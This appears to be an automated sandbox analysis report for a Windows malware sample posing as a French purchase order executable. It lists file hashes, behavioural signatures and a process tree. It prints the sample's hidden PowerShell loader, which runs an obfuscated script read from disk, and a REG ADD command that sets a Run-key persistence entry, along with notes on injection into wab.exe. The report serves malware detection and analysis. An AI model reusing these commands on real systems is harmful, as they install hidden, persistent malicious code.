Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
26/04/2024, 05:43
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe
Resource
win7-20231129-en
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe
Resource
win10v2004-20240226-en
11 signatures
150 seconds
Behavioral task
behavioral3
Sample
unvolubly/Langtrkkendes/Pelletising.ps1
Resource
win7-20240221-en
9 signatures
150 seconds
Behavioral task
behavioral4
Sample
unvolubly/Langtrkkendes/Pelletising.ps1
Resource
win10v2004-20240412-en
12 signatures
150 seconds
General
- Target Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe
- Size 548KB
- Sample240426-genf2aae37
- SHA256 39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d
- MD5 edeb34f392872f3c9e220bc9dcf9ba86
- SHA1 e9fb6ff7cd47ec7b08391f4c1ecc1e684bf28ff7
- SHA512 f33bc39692838cc94ae0ed6aedddfcecb8fd564de6de0d81a258ece57eba04cb7820f1fe834e48b4e0cbce95409449514bb645e69584ad62e0439fea306af424
- SSDEEP 12288:47YvE3TaaFpfEwmgfwwQxeoKGaGsIMcgLvlU2eZysZMNue:bENj7JgaRe0VN9
- MD5 SHA1 SHA512 SSDEEP
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Emraud = "%Skraastillinger% -windowstyle minimized $Boplskommunens=(Get-ItemProperty -Path 'HKCU:\\Somervillite\\').Efs;%Skraastillinger% ($Boplskommunens)" reg.exe - Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 3108 wab.exe 3108 wab.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3296 powershell.exe 3108 wab.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3296 set thread context of 3108 3296 powershell.exe 102 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry key 1 TTPs 1 IoCs
pid Process 1240 reg.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3296 powershell.exe 3296 powershell.exe 3296 powershell.exe 3296 powershell.exe 3296 powershell.exe 3296 powershell.exe 3296 powershell.exe 3296 powershell.exe 3296 powershell.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3296 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3296 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3108 wab.exe - Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 5104 wrote to memory of 3296 5104 Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe 90 PID 5104 wrote to memory of 3296 5104 Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe 90 PID 5104 wrote to memory of 3296 5104 Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe 90 PID 3296 wrote to memory of 3816 3296 powershell.exe 92 PID 3296 wrote to memory of 3816 3296 powershell.exe 92 PID 3296 wrote to memory of 3816 3296 powershell.exe 92 PID 3296 wrote to memory of 3108 3296 powershell.exe 102 PID 3296 wrote to memory of 3108 3296 powershell.exe 102 PID 3296 wrote to memory of 3108 3296 powershell.exe 102 PID 3296 wrote to memory of 3108 3296 powershell.exe 102 PID 3296 wrote to memory of 3108 3296 powershell.exe 102 PID 3108 wrote to memory of 3932 3108 wab.exe 103 PID 3108 wrote to memory of 3932 3108 wab.exe 103 PID 3108 wrote to memory of 3932 3108 wab.exe 103 PID 3932 wrote to memory of 1240 3932 cmd.exe 105 PID 3932 wrote to memory of 1240 3932 cmd.exe 105 PID 3932 wrote to memory of 1240 3932 cmd.exe 105
Processes
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C:\Users\Admin\AppData\Local\Temp\Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe"C:\Users\Admin\AppData\Local\Temp\Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5104 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Interlucent=Get-Content 'C:\Users\Admin\AppData\Local\salpetersyrefabrikkers\occupying\Nonsynoptic168\unvolubly\Langtrkkendes\Pelletising.Art';$Sciography=$Interlucent.SubString(57898,3);.$Sciography($Interlucent)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3296 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"3⤵PID:3816
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3108 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Emraud" /t REG_EXPAND_SZ /d "%Skraastillinger% -windowstyle minimized $Boplskommunens=(Get-ItemProperty -Path 'HKCU:\Somervillite\').Efs;%Skraastillinger% ($Boplskommunens)"4⤵
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Emraud" /t REG_EXPAND_SZ /d "%Skraastillinger% -windowstyle minimized $Boplskommunens=(Get-ItemProperty -Path 'HKCU:\Somervillite\').Efs;%Skraastillinger% ($Boplskommunens)"5⤵
- Adds Run key to start application
- Modifies registry key
PID:1240
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1036 --field-trial-handle=1928,i,13242902252791919845,10377620236057253993,262144 --variations-seed-version /prefetch:81⤵PID:4036
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sa2a3inb.j2x.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\salpetersyrefabrikkers\occupying\Nonsynoptic168\unvolubly\Langtrkkendes\Pelletising.Art
- Size 56KB
- SHA256 de1fc8dc64b49c5ae8c2c9c45e7dd4d2aa154f845e99a8e8fa08b5abf23d38a7
- MD5 19779840eecfc141420a08cb9a741962
- SHA1 0f0a168bc292914da146f667557ff5f07b0f5ae5
- SHA512 d3be08e433f93bafc5d53ea6e91c53e01d755bf1c61e4006aa184da35644b343bd72d0ddbee9820db107c2df212dc4a51a4e06ebf3cf6c1e45ed250f2b383723
- SSDEEP 1536:M2JnexhWTLwrzAPNCVjXRFnhoMMesE5FxGFlAqfq+7:MGghWPwrMeh9b2ELxGFl77
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\salpetersyrefabrikkers\occupying\Nonsynoptic168\unvolubly\Langtrkkendes\Raciality.Fly
- Size 331KB
- SHA256 286b9df7b42e7f021bb5eebe1b6e00d6178f01a4b308244cabfd955cd91b5d60
- MD5 4fef7ec4aa88c70e0e50af8288552883
- SHA1 93fb76eb5d63d8bd92cb962e8f6ca7c8e7ae5950
- SHA512 9f386415243a791b58853c00c378aa57d3aa69f3e690e452220da92d5b4888a0c35099b20ebc9672b0797bcd58091fca8d1f0bd75a616b164896531b8206b1cb
- SSDEEP 6144:Vg2nMcR6xsO57WM9Z+a+Ii3D66xODvok9RaO3JtwL5gWwA76WwQK+/eKk7EcorXX:V2cR6xsOAMzlI3mHDvokHaO5U5r4QK+b
- MD5 SHA1 SHA512 SSDEEP